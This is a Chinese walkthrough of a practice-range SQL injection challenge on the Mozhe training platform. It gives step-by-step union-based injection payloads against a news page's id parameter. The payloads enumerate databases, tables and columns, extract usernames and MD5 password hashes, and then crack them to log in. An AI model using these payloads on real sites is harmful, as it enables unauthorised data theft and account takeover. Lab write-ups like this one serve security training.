靶场地址:https://www.mozhe.cn/bug/detail/dE1HSW5yYThxUHcyUTZab2pTcmpGUT09bW96aGUmozhe
题解:
①启动靶场,url:http://219.153.49.228:43157/,是一个登录界面,显然需要登录获得key,一开始使用万能密码、抓包都没找到注入点,结果在这个滚动的公告页面,url:http://219.153.49.228:43157/new_list.php?id=tingjigonggao

②进入页面,url中有id=tingjigonggao,显示是get的字符型参数
试一下id=tingjigonggao',报错

试一下id=tingjigonggao' and '1'='1' -- q,页面正常

试一下id=tingjigonggao' and '1'='2' -- q,页面不正常

判断存在字符型注入。
③判断字段数
id=aaa' order by 5 -- q,报错
id=aaa' order by 4 -- q,没数据,正常
判断字段数为4。
④判断回显点
id=aaa' union select 1,2,3,4 -- q

2,3参数处回显。
⑤参数替换version()查看版本
id=aaa' union select 1,2,version(),4 -- q

MariaDB-10.2.15>mysql5.0,放心用information_schema库。
⑥查询所有库名
id=aaa' union select 1,2,group_concat(schema_name),4 from information_schema.schemata -- q

获得库名information_schema,mozhe_discuz_stormgroup,mysql,performance_schema,test
⑦查询mozhe_discuz_stormgroup库中的表
id=aaa' union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup' -- q
获得表名notice,stormgroup_member

⑧查询stormgroup_member表中字段名
id=aaa' union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='stormgroup_member' -- q
获得字段名id,name,password,status

⑨查询字段值
id=aaa' union select 1,2,group_concat(name,0x7c,password),4 from stormgroup_member -- q
获取用户名和MD5加密的password
mozhe|356f589a7df439f6f744ff19bb8092c0,mozhe|57673e9e6b26829ba7a4b4d43e8ae8a7
somd5解密得到两个密码dsan13,891185,后面一个是对的,离谱。。。
登录获取key。


本文详述了一次SQL注入攻击的过程,从发现登录页面的注入点,到利用注入漏洞获取数据库信息,包括数据库版本、库名、表名、字段名及数据。最终通过解密密码字段,成功登录并获取关键信息。
496





